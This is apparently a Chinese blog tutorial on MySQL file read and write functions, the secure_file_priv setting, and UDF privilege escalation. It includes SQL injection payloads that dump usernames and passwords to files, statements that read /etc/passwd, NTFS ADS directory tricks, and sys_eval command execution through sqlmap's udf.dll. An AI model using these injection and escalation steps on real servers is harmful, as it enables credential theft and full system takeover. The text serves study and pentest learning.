数据库文件读写

该篇笔记基于MySQL数据库

MySQL数据库的读写文件主要是load_file,load data infile,into outfile以及into dumpfile

MySQL的导入导出功能从5.0版本其都受到@@secure_file_priv的影响。

一、什么是secure_file_priv变量

      This option sets the secure_file_priv system variable, which is used to limit the effect of data import and export operations, such as those performed by the LOAD DATA and SELECT ... INTO OUTFILE statements and the LOAD_FILE() function. 
      此选项设置secure_file_priv系统变量,用于限制数据导入和导出操作的效果,例如加载数据和选择。。。输入OUTFILE语句和LOAD_FILE()函数。

在<=5.7.5版本的mysql里面默认值为empty, 在大于5.7.6里面是platform sepcific(linux 默认是/var/lib/mysql-files),表示读写只能在这个目录下面。

该变量有三种取值,empty,NULL, 某个具体路径:

1.如果变量设置为目录的名称,则服务器会将导入和导出操作限制在跟这个目录中一起使用。这个目录必须存在,服务器不会自己创建它。
2.如果变量为空,则不会产生影响,引起不安全的配置。
3.如果变量设置为NULL,那么服务器就会禁用导入和导出操作。这个值从(MySQL 5.5.53)版本开始允许。

Secure_file_priv是一个全局变量,它是一个只读变量,你不能在运行时改变它。也就是说如果此种注入比较依赖版本。修改这个值的方法只能在配置文件里面修改,在mysql里面是无法修改的。

修改方法:

windows下:修改my.ini
在[mysqld]内加入secure_file_priv =

linux下:修改my.cnf(可能是/etc/mysql/mysql.conf.d/mysqld.cnf)
在[mysqld]内加入 secure_file_priv =/tmp
然后重启mysql,再查询secure_file_priv

二、load_file 和 load data infile 的区别

两个函数的本来作用都是用于导出数据做备份的,也就是读的部分。

load_file详解

用于高权限状态下读取文件信息,最好是root权限,同时还需要知道文件的完整路径。

1582560012691

本地测试结果中,可以直接读取文件内容。

load data infile详解

load data infile是一个很特别的语法,熟悉注入或者经常打CTF的朋友可能会对这个语法比较熟悉,在CTF中,我们经常能遇到没办法load_file读取文件的情况,这时候唯一有可能读到文件的就是load data infile

这个函数可以作为服务器端向客户端请求数据使用。

load data infile "/etc/passwd" into table (table_name) FIELDS TERMINATED BY '\n';
这条语句可以将/etc/passwd下的数据读取用\n分割插入数据表中。
load data local infile "/etc/passwd" into table (table_name) FIELDS TERMINATED BY '\n';
这条语句可以将客户端/etc/passwd下的数据读取用\n分割插入服务器端数据表中

具体应用在构造非法服务器端。

三、into outfile 和 into dumpfile 的区别

两个函数的本来作用都是用于导出数据做备份的,也就是写的部分。

into outfile 和 into dumpfile详解

在进行非二进制文件导出时,outfile可以一次全部进行到处 自动添加换行符,而dumpfile只能一行一行的导出。

在执行outfile语句时

?id=0' union select database(),username,password from users into outfile 'C:\\Users\\86176\\Desktop\\1.txt'--+

文件内容如下

1582563435999

在执行dumpfile语句时

?id=0' union select database(),username,password from users into dumpfile 'C:\\Users\\86176\\Desktop\\2.txt'--+

数据库语句执行和报错如下

1582563221897

文件内容如下

1582563296554

对比运行结果就知道在非二进制文件的导出中谁更占优势。

如果是二进制文件则更适合用dumpfile,因为不强行增加换行符不会造成数据错误。

UDF提权

什么是UDF?

udf = ‘user defined function‘,即‘用户自定义函数’。文件后缀为‘.dll’,常用c语言编写。

什么是UDF提权?

通过在udf文件中定义新函数,对MYSQL的功能进行扩充,可以执行系统任意命令。将MYSQL账号root转化为系统system权限。

udf提权的思路和具体操作

1.将udf文件上传到指定位置,mysql不同的版本要求也不同。

MySQL<5.0,导出路径随意;

5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:c:/windows/system32/)

MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的libplugin文件夹下才能创建自定义函数。

在sqlmap中自带了现成的udf分为windows和linux也分了32位和64位。

sqlmap的udf提供的函数有

sys_eval,执行任意命令,并将输出返回。

sys_exec,执行任意命令,并将退出码返回。

sys_get,获取一个环境变量。

sys_set,创建或修改一个环境变量。

2.创建相应的函数,如:

create function sys_eval returns string soname 'udf.dll';

3.执行命令了,如:select sys_eval('whoami');

实际操作:

?id=0' union select 1,2,@@basedir --+

查询路径

1582606053531

将sqlmap内的udf文件经过其自带的处理成为可使用的udf文件后,准备上传。

在尝试中发现 仅有少量数据库版本支持用NTFS ADS流来创建文件夹。(5.5.8版本可以)

select @@basedir; # 查找mysql安装目录
select 'udfdll' into dumpfile 'D:\\wamp\\bin\\mysql\\mysql5.7.14\\lib::$INDEX_ALLOCATION'; ##使用NTFS ADS 流创建lib目录
select 'udfdll' into dumpfile 'D:\\wamp\\bin\\mysql\\mysql5.7.14\\lib\\plugin::$INDEX_ALLOCATION'; ##创建plugin目录

我这里用手工创建 真实的 我渗透测试中 可以用webshell创建。

此时 lib/plugin/udf.dll已存在。

执行创建函数语句,只能创建dll里存在的函数。

create function sys_eval returns string soname "udf.dll";

中途因为版本位数的错误耽误了很久,这里的udf位数指的是数据库的而非电脑的,需注意!

然后成功执行函数创建,和后续命令执行。

1582610229467

udf的提权主要是在有一定的操作基础之上进行的,不然怎么叫作提权呢。

最后修改:2020 年 08 月 10 日 08 : 43 PM
请作者喝杯奶茶吧~